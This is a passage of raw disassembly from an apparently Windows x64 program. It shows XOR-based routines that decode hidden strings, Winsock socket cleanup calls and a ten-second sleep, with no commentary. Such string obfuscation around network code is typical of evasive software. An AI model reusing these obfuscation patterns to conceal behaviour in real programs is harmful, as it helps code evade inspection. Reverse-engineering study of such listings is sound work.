movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140024ae0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov r14d, dword [rbp + 0x2a8]
test r14d, r14d
je 0x140024e23
lea rcx, [rbp + 0x608]
call fcn.140013460
lea rcx, [rbp + 0x6a0]
call fcn.1400088d0
mov rdx, rax
lea rcx, [rbp + 0x1c8]
call fcn.140003610
mov r8, rax
lea rdx, [rbp + 0x608]
lea rcx, [rbp + 0x5b8]
call fcn.140007190
nop
mov r8, qword [rbp + 0x608]
cmp r8, qword [rbp + 0x610]
je 0x140024e16
cmp byte [rsp + 0x75], 0
jne 0x140024bc7
cmp dword [rsp + 0x64], 0
je 0x140024bc7
cmp dword [rsp + 0x40], 0
je 0x140024bc7
mov ebx, esi
test r15d, r15d
setne bl
mov dword [rsp + 0x20], ebx
movzx r9d, byte [rsp + 0x76]
mov edx, r14d
lea rcx, [rbp + 0x740]
call fcn.14001e860
test al, al
jne 0x140024e94
movups xmm0, xmmword [str.wSZXPR]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [0x140091ea0]
movups xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [0x140091eb0]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [0x140091ec0]
movups xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [0x140091ed0]
movups xmmword [rbp + 0x90], xmm0
mov eax, dword [0x140091ee0]
mov dword [rbp + 0xa0], eax
cmp edi, 2
jl 0x140024d7c
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x54]
mov edx, dword [rsp + 0x50]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x50
jl 0x140024c72
cmp esi, 0x54
jge 0x140024dbf
movsxd rax, esi
lea r8, [rbp + 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x31
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x54
jl 0x140024d90
lea rdx, [rbp + 0x50]
lea rcx, [0x1408e87a0]
call fcn.140017720
mov rcx, rax
call fcn.140017990
mov eax, dword [str.ASFGP6]
mov dword [rsp + 0x38], eax
movzx eax, word [0x140091d58]
mov word [rsp + 0x3c], ax
mov byte [rsp + 0x38], WSACleanup
xor byte [rsp + 0x39], 0x32
xor byte [rsp + 0x3a], 0x33
xor byte [rsp + 0x3b], 0x34
xor byte [rsp + 0x3c], 0x35
xor byte [rsp + 0x3d], 0x36
lea rcx, [rsp + 0x38]
call fcn.14002b988
nop
lea rcx, [rbp + 0x608]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x740]
call fcn.140025fc0
nop
lea rcx, [rbp + 0x598]
call fcn.14000ee50
nop
lea rcx, [rbp + 0x540]
call fcn.140008a30
nop
lea rcx, [rbp + 0x560]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x508]
call fcn.140008a30
nop
lea rcx, [rbp + 0x620]
call fcn.140006750
nop
lea rcx, [rbp + 0x5e8]
call fcn.140008a30
nop
lea rcx, [rbp + 0x5b8]
call fcn.140005520
mov eax, 1
jmp 0x1400222b3
movups xmm0, xmmword [str.WRBP]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [0x140092230]
movups xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [0x140092240]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [0x140092250]
movups xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [0x140092260]
movups xmmword [rbp + 0x90], xmm0
movzx eax, word [0x140092270]
mov word [rbp + 0xa0], ax
movzx eax, byte [0x140092272]
mov byte [rbp + 0xa2], al
cmp edi, 2
jl 0x14002503a
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x54]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x50
jl 0x140024f30
cmp esi, 0x53
jge 0x14002507f
movsxd rax, esi
lea r8, [rbp + 0x50]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x31
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x53
jl 0x140025050
lea rdx, [rbp + 0x50]
lea rcx, [0x1408e87a0]
call fcn.140017720
mov rcx, rax
call fcn.140017990
mov eax, dword [str.ASFGP6]
mov dword [rsp + 0x38], eax
movzx eax, word [0x140091d58]
mov word [rsp + 0x3c], ax
mov byte [rsp + 0x38], WSACleanup
xor byte [rsp + 0x39], 0x32
xor byte [rsp + 0x3a], 0x33
xor byte [rsp + 0x3b], 0x34
xor byte [rsp + 0x3c], 0x35
xor byte [rsp + 0x3d], 0x36
lea rcx, [rsp + 0x38]
call fcn.14002b988
lea rcx, [rbp + 0x740]
call fcn.14001e820
nop
lea rcx, [rbp + 0x608]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x740]
call fcn.140025fc0
nop
lea rcx, [rbp + 0x598]
call fcn.14000ee50
nop
lea rcx, [rbp + 0x540]
call fcn.140008a30
nop
lea rcx, [rbp + 0x560]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x508]
call fcn.140008a30
nop
lea rcx, [rbp + 0x620]
call fcn.140006750
nop
lea rcx, [rbp + 0x5e8]
call fcn.140008a30
nop
lea rcx, [rbp + 0x5b8]
call fcn.140005520
jmp 0x1400222b1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x528], xmm0
mov qword [rbp + 0x538], rax
lea rdx, [rbp + 0x6a0]
cmp r11, 0x10
cmovae rdx, rbx
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], recv
nop dword [rax]
inc r14
cmp byte [rdx + r14], 0
jne 0x140025190
mov r8, r14
lea rcx, [rbp + 0x30]
call fcn.140003650
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0x528]
lea rcx, [rbp + 0x5b8]
call fcn.140007190
nop
mov rcx, qword [rbp + 0x528]
cmp rcx, qword [rbp + 0x530]
jne 0x140025b35
test rcx, rcx
je 0x14002521d
mov rdx, qword [rbp + 0x538]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025206
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025ddf
call fcn.14005c324
mov qword [rbp + 0x528], rsi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x530], xmm0
mov rdx, qword [rbp + 0x5b0]
cmp rdx, 8
jb 0x140025263
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x598]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002525e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025de5
call fcn.14005c324
mov qword [rbp + 0x5a8], rsi
mov qword [rbp + 0x5b0], 7
mov word [rbp + 0x598], si
mov rdx, qword [rbp + 0x558]
cmp rdx, 0x10
jb 0x1400252bd
inc rdx
mov rcx, qword [rbp + 0x540]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400252b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025deb
call fcn.14005c324
mov qword [rbp + 0x550], rsi
mov qword [rbp + 0x558], recv
mov byte [rbp + 0x540], 0
mov rcx, qword [rbp + 0x560]
test rcx, rcx
je 0x140025328
mov rdx, qword [rbp + 0x570]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025311
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025df1
call fcn.14005c324
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x560], xmm0
mov qword [rbp + 0x570], rsi
mov rdx, qword [rbp + 0x520]
cmp rdx, 0x10
jb 0x140025369
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025364
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025df7
call fcn.14005c324
mov qword [rbp + 0x518], rsi
mov qword [rbp + 0x520], recv
mov byte [rbp + 0x508], 0
lea rcx, [rbp + 0x620]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x600]
cmp rdx, 0x10
jb 0x1400253d1
inc rdx
mov rcx, qword [rbp + 0x5e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400253cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025dfd
call fcn.14005c324
nop
mov rcx, qword [rbp + 0x5c0]
test rcx, rcx
je 0x1400253e3
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x5b8], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x5e0]
cmp rdx, 0x10
jb 0x140022119
inc rdx
mov rcx, qword [rbp + 0x5c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022114
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025c3b
jmp 0x140022114
lea rdx, [rbp + 0x1a0]
call fcn.140025f10
mov r9, rax
cmp byte [rax + 0x22], 0
je 0x140025c41
cmp dword [0x1400a3c50], 2
jl 0x1400255b0
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
mov r12d, 5
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x1400254a2
cmp esi, 0x23
jge 0x140025c41
movsxd r8, esi
add r8, r9
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x31
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x23
jge 0x140025c41
jmp 0x1400255c0
lea rdx, [rbp + 0xb0]
call fcn.140025ec0
mov r9, rax
cmp byte [rax + 0x2e], 0
je 0x140025c93
cmp dword [0x1400a3c50], 2
jl 0x14002576e
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
mov r12d, 5
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x28
jl 0x140025660
cmp esi, 0x2f
jge 0x140025c93
movsxd r8, esi
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x31
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x2f
jge 0x140025c93
jmp 0x140025780
lea rdx, [rbp + 0x50]
call fcn.140025e60
mov r9, rax
cmp byte [rax + 0x58], 0
je 0x140025ce5
cmp dword [0x1400a3c50], 2
jl 0x14002592e
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
mov r12d, 5
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x58
jl 0x140025820
cmp esi, 0x59
jge 0x140025ce5
movsxd r8, esi
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x31
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x59
jge 0x140025ce5
jmp 0x140025940
lea rdx, [rbp + 0x1c8]
call fcn.140025e10
mov r9, rax
cmp byte [rax + 0x20], 0
je 0x140025d37
cmp dword [0x1400a3c50], 2
jl 0x140025aee
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
mov r12d, 5
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x1400259e0
cmp esi, 0x21
jge 0x140025d37
movsxd r8, esi
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x31
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x21
jge 0x140025d37
jmp 0x140025b00
lea rcx, [rbp + 0x528]
call fcn.1400148f0
mov rbx, rax
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x1c8]
call fcn.140008b30
mov dword [rsp + 0x20], esi
xor r9d, r9d
movzx r8d, byte [rsp + 0x60]
mov rdx, rbx
mov rcx, rax
call fcn.14001f680
lea rdx, [rsp + 0x38]
call fcn.140025e40
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140025b9a
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b988
xor ecx, ecx
call fcn.140027418
nop
mov rdx, r9
lea rcx, [0x1408e87a0]
call fcn.140017720
mov rcx, rax
lea rdx, [rbp + 0x658]
call fcn.140026a20
mov rcx, rax
call fcn.140014c40
lea rdx, [rsp + 0x38]
call fcn.140025e40
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140025bfb
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b988
xor ecx, ecx
call fcn.140027418
nop
call fcn.140027658
nop
mov rdx, r9
lea rcx, [0x1408e87a0]
call fcn.140017720
mov rcx, rax
call fcn.140014c40
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.140027418
nop
call fcn.140027658
nop
mov rdx, r9
lea rcx, [0x1408e87a0]
call fcn.140017720
mov rcx, rax
call fcn.140014c40
lea rdx, [rsp + 0x38]
call fcn.140025e40
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140025c83
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b988
xor ecx, ecx
call fcn.140027418
int3
mov rdx, r9
lea rcx, [0x1408e87a0]
call fcn.140017720
mov rcx, rax
call fcn.140014c40
lea rdx, [rsp + 0x38]
call fcn.140025e40
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140025cd5
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b988
xor ecx, ecx
call fcn.140027418
int3
mov rdx, r9
lea rcx, [0x1408e87a0]
call fcn.140017720
mov rcx, rax
call fcn.140014c40
lea rdx, [rsp + 0x38]
call fcn.140025e40
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140025d27
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b988
xor ecx, ecx
call fcn.140027418
int3
mov rdx, r9
lea rcx, [0x1408e87a0]
call fcn.140017720
mov rcx, rax
call fcn.140014c40
lea rdx, [rsp + 0x38]
call fcn.140025e40
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140025d79
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b988
xor ecx, ecx
call fcn.140027418
nop
call fcn.140027658
nop
call fcn.140027658
nop
call fcn.140027658
nop
xor ecx, ecx
call fcn.140027418
nop
call fcn.140027658
int3
call fcn.140027658
nop
call fcn.140027658
nop
call fcn.140027658
nop
call fcn.140027658
nop
call fcn.140027658
nop
call fcn.140027658
nop
call fcn.140027658
nop
call fcn.14001a630
nop
call fcn.140027658
nop
call fcn.140027658
nop
call fcn.140027658
nop
call fcn.140027658
nop
call fcn.140027658
nop
call fcn.140027658
nop
call fcn.140027658
int3